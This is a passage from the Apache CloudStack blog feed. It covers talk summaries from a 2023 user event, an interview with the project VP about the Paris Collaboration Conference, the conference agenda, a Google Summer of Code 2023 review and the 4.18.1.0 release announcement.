increase its visibility and ensure its longevity and healthy development.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/L9ruZKpSYoU?si=YvIf0X87GM0szqfU&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="enabling-dpu-hardware-accelerators-in-xcp-ng-cloud-platform-environment-andrei-semenov">Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment, Andrei Semenov<a href="#enabling-dpu-hardware-accelerators-in-xcp-ng-cloud-platform-environment-andrei-semenov" class="hash-link" aria-label="Direct link to Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment, Andrei Semenov" title="Direct link to Enabling DPU Hardware Accelerators in XCP-ng Cloud Platform Environment, Andrei Semenov">​</a></h3><p>In cloud computing environments, VMs require fast access to resources like
storage and networking. The hardware that the VMs access is implemented in
software and/or by passing through a dedicated hardware device. Software-based
solutions consume extra CPU cycles, thus resulting in poor performance. Also,
these require to expose a device-model to the guest, thus increasing the attack
surface. Conversely, hardware passthrough provides better performance and
security but can be expensive in terms of the number of physical resources,
since each device is dedicated to a single VM. This talk focuses on how Vates is
working on sharing hardware resources among VMs by relying on dedicated
processors named Data Processing Units (DPU). More precisely, Vates work on
offloading Xen hypervisor of storage emulation by relying on Kalray K200 DPU
PCIe controllers, a hardware accelerator based on MPPA architecture.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/hZQ2_f4FC6o?si=P7rsd8zjrN24i8JL&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/toAUvWJuD5HvnH?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="cloudstack-object-storage---an-introduction-vladimir-petrov">CloudStack Object Storage - An Introduction, <a href="https://www.linkedin.com/in/vladimir" target="_blank" rel="noopener noreferrer">Vladimir Petrov</a><a href="#cloudstack-object-storage---an-introduction-vladimir-petrov" class="hash-link" aria-label="Direct link to cloudstack-object-storage---an-introduction-vladimir-petrov" title="Direct link to cloudstack-object-storage---an-introduction-vladimir-petrov">​</a></h3><p>CloudStack 4.19 introduces a new framework for object storage. In this talk,
Vladi explains what has driven this development, the architecture chosen and
current integration points with Object store providers.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/ldBwDAh6DqE?si=axGOKCR-4DRIlhgO&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/2g3H0XORXa8Byk?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="confidence-in-cloudstack-aron-wagner-nathan-gleason">Confidence in CloudStack, <a href="https://www.linkedin.com/in/aronwagne" target="_blank" rel="noopener noreferrer">Aron Wagner</a>, <a href="https://www.linkedin.com/in/nathangleason" target="_blank" rel="noopener noreferrer">Nathan Gleason</a><a href="#confidence-in-cloudstack-aron-wagner-nathan-gleason" class="hash-link" aria-label="Direct link to confidence-in-cloudstack-aron-wagner-nathan-gleason" title="Direct link to confidence-in-cloudstack-aron-wagner-nathan-gleason">​</a></h3><p>In an ever-growing landscape of thousands of virtualization and cloud native
projects it can be hard to understand what projects reliably just work.
Fortunately for the growing community at CloudStack that is precisely what we
(American Cloud) found.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/V_bF_2K0lQk?si=kxek5nT4vWBp81CM&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/1hKnRYpnYOxYuz?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="declarative-kubernetes-cluster-deployment-with-cloudstack-and-cluster-api-ozhan-karaman">Declarative Kubernetes Cluster Deployment with CloudStack and Cluster API, <a href="https://www.linkedin.com/in/ozhan-karaman" target="_blank" rel="noopener noreferrer">Ozhan Karaman</a><a href="#declarative-kubernetes-cluster-deployment-with-cloudstack-and-cluster-api-ozhan-karaman" class="hash-link" aria-label="Direct link to declarative-kubernetes-cluster-deployment-with-cloudstack-and-cluster-api-ozhan-karaman" title="Direct link to declarative-kubernetes-cluster-deployment-with-cloudstack-and-cluster-api-ozhan-karaman">​</a></h3><p>Are you currently managing Kubernetes clusters in the cloud and considering a
transition to on-premises infrastructure using CloudStack? This session is an
exciting demonstration of how you can deploy Kubernetes clusters in a
declarative manner, leveraging the capabilities of CloudStack and Cluster API.
In this demo, Ozhan showcases a comprehensive solution that combines Packer,
Gitlab CI, ArgoCD, Cluster API, and Cluster Autoscaler to create a seamless
on-premises deployment strategy adaptable to diverse requirements over
CloudStack Infrastructure.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/W88X8W3hl6U?si=2J4yPYdjthOfdlqJ&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/gCBMWODsKqeLIC?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="extending-kvm-host-ha-for-non-nfs-storage-alex-ivanov">Extending KVM Host HA for Non-NFS Storage, <a href="https://www.linkedin.com/in/alex-p-ivanov" target="_blank" rel="noopener noreferrer">Alex Ivanov</a><a href="#extending-kvm-host-ha-for-non-nfs-storage-alex-ivanov" class="hash-link" aria-label="Direct link to extending-kvm-host-ha-for-non-nfs-storage-alex-ivanov" title="Direct link to extending-kvm-host-ha-for-non-nfs-storage-alex-ivanov">​</a></h3><p>The current KVM Host HA feature depends on the existence of an NFS primary storage to detect which nodes are online, even if other types of primary storage are used. StorPool extends the HA feature to allow other methods to be used for this. The new implementation adds support for using StorPool Storage for HA heartbeats, removing the need for NFS primary storage. The solution developed by StorPool allows new storage vendors and protocols to be added easily.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/Ar0_I9JZXSI?si=r-FsDzku1QcaNt4f&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/NtAYLfN0M09uDg?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="live-demo-showcase-unveiling-dell-powerflexs-iaas-capabilities-with-apache-cloudstack-florian-coulombel">Live Demo Showcase: Unveiling Dell PowerFlex’s IaaS Capabilities with Apache CloudStack, <a href="https://www.linkedin.com/in/fcoulombel" target="_blank" rel="noopener noreferrer">Florian Coulombel</a><a href="#live-demo-showcase-unveiling-dell-powerflexs-iaas-capabilities-with-apache-cloudstack-florian-coulombel" class="hash-link" aria-label="Direct link to live-demo-showcase-unveiling-dell-powerflexs-iaas-capabilities-with-apache-cloudstack-florian-coulombel" title="Direct link to live-demo-showcase-unveiling-dell-powerflexs-iaas-capabilities-with-apache-cloudstack-florian-coulombel">​</a></h3><p>Dell PowerFlex is the latest storage platform to offer advanced integration with
Apache CloudStack. Powerflex, a software-defined platform, has built a
reputation for performance, agility, and scalability and is already being used
in a number of large-scale CloudStack IaaS environments.</p><p>Watch the session to see the live demo of the integration and automation
capabilities.</p><p>Some of the key features showcased are: Infrastructure Provisioning and
Configuration, VM operations &amp; lifecycle management and Infrastructure
Management &amp; Monitoring.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/jQrVb49RihA?si=9bw-S4l1LKTChv5a&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/sIcZSOX4lCHcv?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe><h3 class="anchor anchorWithStickyNavbar_LWe7" id="import-export-virtual-machine-for-kvm-hypervisor-ayush-pandey">Import Export Virtual Machine for KVM Hypervisor, <a href="https://www.linkedin.com/in/itsayushpandey" target="_blank" rel="noopener noreferrer">Ayush Pandey</a><a href="#import-export-virtual-machine-for-kvm-hypervisor-ayush-pandey" class="hash-link" aria-label="Direct link to import-export-virtual-machine-for-kvm-hypervisor-ayush-pandey" title="Direct link to import-export-virtual-machine-for-kvm-hypervisor-ayush-pandey">​</a></h3><p>Ayush talks about his contribution as a GSoC Contributor, for implementing the
Import-Export Instances feature for the KVM Hypervisor.</p><iframe width="640" height="315" src="https://www.youtube.com/embed/ZKKMW4aAprY?si=rGTJeyU51SlGaJdz&amp;controls=0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"></iframe><iframe src="https://www.slideshare.net/slideshow/embed_code/key/fUIK05TiJtVJ5f?hostedIn=slideshare&amp;page=upload" width="640" height="480" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"></iframe>]]></content:encoded>
            <category>news</category>
            <category>roundup</category>
        </item>
        <item>
            <title><![CDATA[VP Apache CloudStack Thoughts on the Upcoming CloudStack Collaboration Conference 2023]]></title>
            <link>https://cloudstack.apache.org/blog/ccc2023-vp-interview</link>
            <guid>https://cloudstack.apache.org/blog/ccc2023-vp-interview</guid>
            <pubDate>Wed, 01 Nov 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[The [CloudStack Collaboration Conference]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/ccc2023-vp-interview"><img loading="lazy" src="/assets/images/banner-c7e5f57a2665b2516df8e30e4bb56bda.png" title="CCC 2023 VP Interview" width="1384" height="715" class="img_ev3q"></a></p><p>The <a href="https://www.cloudstackcollab.org/" target="_blank" rel="noopener noreferrer">CloudStack Collaboration Conference
2023</a> is only a few weeks away. This year’s
event will be taking place in Paris and online, on 23-24th November.
<a href="https://events.hubilo.com/cloudstack-collaboration-conference-2023/register" target="_blank" rel="noopener noreferrer">Registration is still
open</a>,
with free tickets to anybody interested in the open-source project or cloud
technology. The event’s agenda has also been released, which you can see when
registering for the event.</p><p>I decided to interview the project’s current VP, <a href="https://www.linkedin.com/in/rohityadavcloud/" target="_blank" rel="noopener noreferrer">Rohit
Yadav</a>, to get his thoughts on the
annual event.</p><p><strong>Why should individuals and organisations in the cloud industry be excited to
attend CloudStack Collab 2023?</strong></p><p><em>“I think the conference gives a great opportunity to everyone in the community,
be it an individual, a small and midsize business, or an enterprise, to
participate, collaborate, learn about what is coming in CloudStack and to meet
and network with people.</em></p><p><em>CloudStack Conferences and events provide a neutral space for the community to
come together, interact and learn about ongoing and future development of the
project, influence the direction of the project and form potential partnership
with one-another to support their objectives. This can also ensure long-term
stability of the contributor base, participation and health of the project.</em></p><p><em>The benefit of a hybrid event is those who aren't able to attend the conference
in person can still participate online, and watch the video streams or the
recordings later on.</em></p><p><em>It can also benefit people looking to learn about reducing cloud costs. It is
not a new thing that companies around the world are under financial pressure. We
have seen through various scenarios in the past, that moving from VMware to
CloudStack, or moving away from Hyperscalers to CloudStack can significantly
reduce the cost of ownership. So, the conference and its videos can help a lot
of people who are considering CloudStack, as well as those already implementing
it.”</em></p><p><strong>Are there any specific talks that stand out to you and that you are most looking forward to?</strong></p><p><em>“There are certainly several talks that I am really excited about – these are new
features in Apache CloudStack, use-cases of CloudStack, as well as sessions from
thought leaders who are going to talk about their perspective on CloudStack and
open-source. So, I am particularly excited about these talks.”</em></p><p><strong>Can you give a sneak peek into your ‘State of the Union’ talk?</strong></p><p><em>“One of the things I did was look at what previous VPs spoke about in their
State of the Union talks. So, there will be content about the community, changes
since last years, updates about releases and reflecting on what happened in the
community, in the last year.</em></p><p><em>I will also look into trends in the community, whether that is from the mailing
lists or from GitHub, as well as discuss new initiatives in the community. I'm
still figuring out a theme to stitch the content that I already have and
I am reaching out to people and organisations for quotes in support of
CloudStack.”</em></p><p><strong>How do you feel the CloudStack community has evolved in recent years?</strong></p><p><em>“Just like the project itself, the community has matured a lot alongside it. We
have over a decade of CloudStack releases, making it a stable and mature
product. A lot of people have been with the project since the early days and
they have a stable and mature outlook on using CloudStack</em></p><p><em>A term that can be applied here is <a href="https://wa.aws.amazon.com/wellarchitected/2020-07-02T19-33-23/wat.concept.mechanical-sympathy.en.html#:~:text=Mechanical%20sympathy%20is%20when%20you,Jackie%20Stewart%2C%20racing%20driver" target="_blank" rel="noopener noreferrer">mechanical
sympathy</a>,
which can explain how and why some people can become more intuitive than others
when it comes to the open-source software. As a result, CloudStack becomes an
extension of somebody who understands it better, as they will know its
limitations, thus meaning they know where to push it and where not to push it.”</em></p><p><strong>How does the CloudStack Collaboration Conference contribute to fostering
collaboration among the CloudStack community members?</strong></p><p><em>“There are a lot of users/vendors who have their idea of where CloudStack could
be extended and used. One of the great perks of CCC is that it gives networking
opportunities, where people can discuss their ideas, roadmaps and align with
others on where they want to see CloudStack go.</em></p><p><em>We have seen in the past where multiple parties have come together to push
CloudStack in a direction with respect to a feature or their roadmap or business
strategy.”</em></p><p><strong>Do you believe that open-source technologies will become more prevalent
among MSP’s and enterprises? If so, why? </strong></p><p><em>“Yes, I believe so. Any open-source project would have a community around it
and that it is easy to get access its the source code, modify and
redistribute it. What that unlocks is that for the same software, there might be
multiple vendors, which means there is not a vendor lock-in and therefore the
total cost of ownership is lower.</em></p><p><em>Open-source also fosters innovation, as every MSP or enterprise will have their
own roadmap and things they want to do with the software. Achieving these
objectives will require changes in the software, which is possible because
they’re not dependent on a vendor, meaning they can do it themselves or they can
partner with other parties in the relevant open-source ecosystem to achieve their
goals.”</em></p>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[CloudStack Collaboration Conference Agenda is Now Live!]]></title>
            <link>https://cloudstack.apache.org/blog/ccc2023-agenda-revealed</link>
            <guid>https://cloudstack.apache.org/blog/ccc2023-agenda-revealed</guid>
            <pubDate>Tue, 03 Oct 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Are you ready for the most anticipated Apache CloudStack event of the year? The]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/ccc2023-agenda-revealed"><img loading="lazy" src="/assets/images/banner-260090facd03442114e960512a16ac3b.jpg" title="CCC 2023 Agenda Revealed" width="1200" height="628" class="img_ev3q"></a></p><p>Are you ready for the most anticipated Apache CloudStack event of the year? The
CloudStack Collaboration Conference is back, and this time it's happening in
Paris on November 23-24.</p><p>The wait is finally over, as the conference agenda has just been released,
giving attendees the chance to plan their schedules and make the most of this
extraordinary gathering of cloud enthusiasts, developers, and industry leaders.</p><h1>A Glimpse into the Agenda</h1><p>The <a href="https://www.cloudstackcollab.org/#schedule" target="_blank" rel="noopener noreferrer">recently released agenda</a>
offers a tantalizing glimpse into what attendees can expect over the two days of
the conference. With a diverse range of sessions and workshops, there's a wealth
of knowledge to be gained and connections to be made. Here are some highlights
from the agenda:</p><p><strong>State of the Union, <a href="https://www.linkedin.com/in/rohityadavcloud/" target="_blank" rel="noopener noreferrer">Rohit Yadav</a></strong></p><div class="row"><div class="col col--3"><p><img loading="lazy" src="/assets/images/rohit-df1c80f03df8fe310d0772769b58cb31.png" title="Rohit Yadav&quot; class=&quot;blog-image" width="211" height="199" class="img_ev3q"></p></div><div class="col col--9">In this session, Rohit will reflect on the last year of project collaboration, developments in CloudStack and community activity. He will set out how he sees the project developing over the next few years.</div></div><p><strong>Keynote Talk: Open Source is Not Dead, <a href="https://www.linkedin.com/in/charlesschulz/" target="_blank" rel="noopener noreferrer">Charles Schulz</a></strong></p><div class="row"><div class="col col--3"><p><img loading="lazy" src="/assets/images/charles-6bc2f1354f97e31a49781cb0b505e163.png" title="Charles Schulz" width="218" height="212" class="img_ev3q"></p></div><div class="col col--9">Successful open source companies change their business models and then the open source license they were distributing their software on. More and more it feels like Open Source is just a marketing buzzword designed to lure customers to a particular solution. On the regulatory front, the EU is implementing the CRA and handling software as it were trucks manufacturing. Is there any hope left for Open Source? Has it failed in delivering its premise?<p>Fear not. Open Source's not dead. It has already won and it will prevail again.</p></div></div><p><strong>What’s New in CloudStack and What Will Come in 4.19, <a href="https://www.linkedin.com/in/shwstppr/" target="_blank" rel="noopener noreferrer">Abhishek Kumar</a></strong></p><div class="row"><div class="col col--3"><p><img loading="lazy" src="/assets/images/abhishek-0dd4859719d2fed1f0ed60df0bfbcf18.png" title="Abhishek Kumar" width="290" height="254" class="img_ev3q"></p></div><div class="col col--9">Abhishek will give a brief introduction to the new and exciting features in the upcoming Apache CloudStack 4.19 release.</div></div><p><strong>How to Re-use Old Hardware with CloudStack. Saving Money and the Environment, <a href="https://www.linkedin.com/in/widodh/" target="_blank" rel="noopener noreferrer">Wido den Hollander</a></strong></p><div class="row"><div class="col col--3"><p><img loading="lazy" src="/assets/images/wido-d6fd4c34c7a4a9e1eddb716dccee654a.png" title="Wido" width="264" height="254" class="img_ev3q"></p></div><div class="col col--9">Wido will share how using older hardware for a longer time can save money and the environment by not producing new hardware.</div></div><p><strong>Migrating VMware Infra to KVM Using CloudStack, <a href="https://www.linkedin.com/in/nvazquezuy/" target="_blank" rel="noopener noreferrer">Nicolas Vazquez</a></strong></p><div class="row"><div class="col col--3"><p><img loading="lazy" src="/assets/images/nicolas-bbdb611050a26ec3e2d93abe1aa68d53.png" title="Nicolas" width="262" height="264" class="img_ev3q"></p></div><div class="col col--9">In this session, Nicolas will present a new feature, targeted for CloudStack 4.19, which allows administrators to migrate Instances from a VMware environment (external or connected to CloudStack) and import them into a KVM CloudStack-managed environment.</div></div><p>The CloudStack Collaboration Conference is a wholly community-driven event
orchestrated by volunteers and dedicated enthusiasts from within the community.
We extend our gratitude to the sponsors of the CloudStack Collaboration
Conference – <a href="https://www.shapeblue.com/" target="_blank" rel="noopener noreferrer">ShapeBlue</a>,
<a href="https://storpool.com/" target="_blank" rel="noopener noreferrer">StorPool</a>, <a href="https://linbit.com/" target="_blank" rel="noopener noreferrer">LINBIT</a>,
<a href="https://cloud.dimsi.io/#/" target="_blank" rel="noopener noreferrer">DIMSI</a>, <a href="https://www.vates.fr/" target="_blank" rel="noopener noreferrer">Vates</a>,
<a href="https://mitteldeutsche-it.de/" target="_blank" rel="noopener noreferrer">mitteldeutsche IT</a>,
<a href="https://www.leaseweb.com/" target="_blank" rel="noopener noreferrer">Leaseweb</a>, <a href="https://www.proio.com/" target="_blank" rel="noopener noreferrer">proIO</a>,
<a href="https://your.online/" target="_blank" rel="noopener noreferrer">Your.Online</a> and <a href="https://www.stackconsole.io/" target="_blank" rel="noopener noreferrer">Stack
Console</a> – for their help in bringing this event
to the worldwide community.</p>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[Google Summer of Code 2023 Review]]></title>
            <link>https://cloudstack.apache.org/blog/gsoc-2023</link>
            <guid>https://cloudstack.apache.org/blog/gsoc-2023</guid>
            <pubDate>Mon, 25 Sep 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[In the ever-evolving landscape of open-source software development, fostering]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/gsoc-2023"><img loading="lazy" src="/assets/images/banner-a9ada434623c0c0f625ef3f67c69ebf6.png" title="Google Summer of Code 2023 Review" width="1384" height="721" class="img_ev3q"></a></p><p>In the ever-evolving landscape of open-source software development, fostering
the growth of young talents and innovators is essential. One remarkable program
that stands at the forefront of this mission is the <a href="https://summerofcode.withgoogle.com/" target="_blank" rel="noopener noreferrer">Google Summer of Code
(GSoC)</a>. For years, GSoC has been an
invaluable platform for students to collaborate with prominent open-source
organizations, and Apache CloudStack is proud to be a part of this
transformative journey.</p><p>As an open-source Infrastructure-as-a-Service (IaaS) platform, Apache CloudStack
has consistently provided a robust, scalable, and reliable solution for building
and managing cloud environments. With a global community of developers and
contributors, CloudStack has had an ongoing commitment to the GSoC programme and
its students in the last years. We believe that young talents should be led in
their open-source journey and projects shall be willing to help them learn and
develop new skills and knowledge.</p><h1>A Word From this Year’s Participant and Mentor</h1><p><img loading="lazy" src="/assets/images/ayush-99b8c81091fd2c374e8abe2028e7ab5d.png" title="Ayush" width="97" height="128" class="img_ev3q"></p><blockquote><p>“Working on the Apache CloudStack project gave me the opportunity to understand
how cloud computing infrastructure as a service works, the usage of nested
virtualization and all other technical aspects involved.</p><p>The community has been really welcoming and supportive, and I’m excited to be a
part of this community.”</p><p>-<!-- -->&nbsp;<a href="https://www.linkedin.com/in/itsayushpandey/" target="_blank" rel="noopener noreferrer">Ayush Pandey</a>, GSoC 2023 Student</p></blockquote><p><img loading="lazy" src="/assets/images/nicolas-e4954d436f405557c37e007ccbf404c6.png" title="Nicolas" width="128" height="129" class="img_ev3q"></p><blockquote><p>“I am very excited to be coordinating the CloudStack projects for the Google
Summer of Code 2023 and mentoring Ayush on his project. I think GSOC is a great
experience as an introduction to open-source projects and meeting its community,
and from the mentor side it’s a great opportunity to meet and support talented
people.”</p><p>-<!-- -->&nbsp;<a href="https://www.linkedin.com/in/nvazquezuy/" target="_blank" rel="noopener noreferrer">Nicolas Vazquez</a>, GSoC 2023 Mentor</p></blockquote><h1>The Impact of GSoC on Open-source Technologies</h1><p>In 2023, the Google Summer of Code (GSoC) program made a resounding impact on
the world of open-source software development. With an impressive participation
of 966 new contributors from across the globe, GSoC facilitated their engagement
in 12+ week projects, collaborating with 168 open-source organizations. This
global initiative united mentors and contributors hailing from over 75
countries, creating a dynamic ecosystem of innovation and learning.</p><p>For nearly two decades, GSoC has thrived on the collective enthusiasm of
open-source communities and the dedication of 19,000+ volunteer mentors, each
spending between 50 to 150 hours guiding over 20,000 contributors since 2005. In
2023, this tradition continued with 168 mentoring organizations and a staggering
1,950 mentors supporting the program.</p><h1>A Preview of the Work Completed by GSoC Students</h1><p>This year, Ayush worked on adding implementation of import/export instances to
the KVM hypervisor. The unmanaging instance feature is only available for the
VMWare hypervisor in the latest version of CloudStack. This summer, Ayush worked
on extending it to the KVM hypervisor. Click here to learn more about his
project -  <a href="https://summerofcode.withgoogle.com/programs/2023/projects/f0gpheQM" target="_blank" rel="noopener noreferrer">https://summerofcode.withgoogle.com/programs/2023/projects/f0gpheQM</a></p><p>You can also see the CloudStack community submission to GitHub here -
<a href="https://github.com/apache/cloudstack/pull/7712" target="_blank" rel="noopener noreferrer">https://github.com/apache/cloudstack/pull/7712</a></p><p>In last year’s CloudStack Collaboration Conference, a previous GSoC mentor, Daan
Hoogland, held a talk, where he reviewed the involvement of CloudStack in GSoC,
and looked at some of the work done by the GSoC students.</p><p><a href="https://www.youtube.com/watch?v=tDDoxFwhIvw" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/assets/images/daan-7e887a846b8c75426ffe0031451493e1.png" title="Daan on GSoC" width="1384" height="650" class="img_ev3q"></a></p>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack 4.18.1.0 Release]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack-4.18.1-release</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack-4.18.1-release</guid>
            <pubDate>Mon, 18 Sep 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack project is pleased to announce the release of]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/cloudstack-4.18.1-release"><img loading="lazy" src="/assets/images/banner-27a97afaec863ccb6fb07e6880930808.png" title="Apache CloudStack 4.18.1.0 Release" width="2114" height="1096" class="img_ev3q"></a></p><p>The Apache CloudStack project is pleased to announce the release of
CloudStack 4.18.1.0.</p><p>The CloudStack 4.18.1.0 release is a maintenance release as part of
its 4.18.x LTS branch and contains around 200 fixes and
improvements since the CloudStack 4.18.0.0 release.</p><p>Some of the highlights include:</p><ul><li>Support Managed User Data in AutoScale VM groups</li><li>Support CKS (CloudStack Kubernetes Cluster) in VPC tiers</li><li>Support for VMware 8.0.0.x</li><li>Several Hypervisor (VMware, KVM, XenServer) fixes and improvements</li><li>Several UI fixes and improvements</li><li>Several Network (L2, VXLAN, etc) fixes and improvements</li><li>Several System VM (CPVM, SSVM) fixes and improvements</li><li>Improve Solidfire storage plugin integration on VMware</li><li>Support volume migration in ScaleIO/PowerFlex within and across ScaleIO/PowerFlex storage clusters</li><li>Volume encryption support for StorPool</li><li>Fix CloudStack upgrade with some MySQL versions</li><li>Fix guest OSes and guest OS mappings in CloudStack database</li></ul><p>CloudStack LTS branches are supported for 18 months and will receive
updates for the first 12 months and only security updates in the last
6 months.</p><p>Apache CloudStack is an integrated Infrastructure-as-a-Service (IaaS)
software platform that allows users to build feature-rich public and
private cloud environments. CloudStack includes an intuitive user
interface and rich API for managing the compute, networking, software,
and storage resources. The project became an Apache top-level project
in March, 2013.</p><p>More information about Apache CloudStack can be found at:
<a href="https://cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/</a></p><h1>Documentation</h1><p>What's new in CloudStack 4.18.1.0:
<a href="https://docs.cloudstack.apache.org/en/4.18.1.0/releasenotes/about.html" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.18.1.0/releasenotes/about.html</a></p><p>The 4.18.1.0 release notes include a full list of issues fixed, as
well as upgrade instructions from previous versions of Apache
CloudStack, and can be found at:
<a href="https://docs.cloudstack.apache.org/en/4.18.1.0/releasenotes/" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.18.1.0/releasenotes/</a></p><p>The official installation, administration, and API documentation for
each of the releases are available on our documentation page:
<a href="https://docs.cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/</a></p><h1>Downloads</h1><p>The official source code for the 4.18.1.0 release can be downloaded
from our downloads page:
<a href="https://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/downloads.html</a></p><p>In addition to the official source code release, individual
contributors have also made convenience binaries available on the
Apache CloudStack download page, and can be found at:</p><ul><li><a href="https://download.cloudstack.org/el/7/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/el/7/</a></li><li><a href="https://download.cloudstack.org/el/8/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/el/8/</a></li><li><a href="https://download.cloudstack.org/ubuntu/dists/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/ubuntu/dists/</a></li><li><a href="https://www.shapeblue.com/packages/" target="_blank" rel="noopener noreferrer">https://www.shapeblue.com/packages/</a></li></ul>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[CloudStack India User Group 2023 Roundup]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack-india-user-group-2023-roundup</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack-india-user-group-2023-roundup</guid>
            <pubDate>Wed, 23 Aug 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[On Friday 18th August, the Apache CloudStack India User Group 2023 took place in]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/cloudstack-india-user-group-2023-roundup"><img loading="lazy" src="/assets/images/banner-109309ae17420fd06b0b0dd869cd7533.png" title="CSIUG" width="1384" height="715" class="img_ev3q"></a></p><p>On Friday 18th August, the Apache CloudStack India User Group 2023 took place in
Bangalore, seeing CloudStack enthusiasts, experts, and industry leaders from
across the country, discuss the open-source project. The meetup served as a
vibrant platform to delve into the depths of Apache CloudStack, share insights,
and forge new connections.</p><p>This roundup blog shares session recordings and slides from the user group.
Click the following link to see the photos taken from the user group:
<a href="https://photos.google.com/share/AF1QipMf5oiut3pZr8vB3kk_LiCzLgjglxJxkUYmaHoMPHrIb6m8Hu9X7QrUMI90S9odYQ?key=SlRuZjRfdGFSR1pKWGVGMV83eUt1R1ZwallrSG9n" target="_blank" rel="noopener noreferrer">https://photos.google.com/share/AF1QipMf5oiut3pZr8vB3kk_LiCzLgjglxJxkUYmaHoMPHrIb6m8Hu9X7QrUMI90S9odYQ?key=SlRuZjRfdGFSR1pKWGVGMV83eUt1R1ZwallrSG9n</a></p><h2>Sessions</h2><h3 class="anchor anchorWithStickyNavbar_LWe7" id="welcome-and-state-of-apache-cloudstack-community-rohit-yadav">Welcome and State of Apache CloudStack Community, Rohit Yadav<a href="#welcome-and-state-of-apache-cloudstack-community-rohit-yadav" class="hash-link" aria-label="Direct link to Welcome and State of Apache CloudStack Community, Rohit Yadav" title="Direct link to Welcome and State of Apache CloudStack Community, Rohit Yadav">​</a></h3><p>(The session recording is not available)</p><iframe src="https://www.slideshare.net/slideshow/embed_code/key/e5gbS0sSfzB5wj" width="100%" height="400" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"> </iframe><br><strong> <a href="https://www.slideshare.net/ShapeBlue/welcome-and-state-of-apache-cloudstack-community-rohit-yadav" target="_blank" rel="noopener noreferrer" title="Welcome and State of Apache CloudStack Community">Open in SlideShare</a> </strong><p><strong>Session Description:</strong>
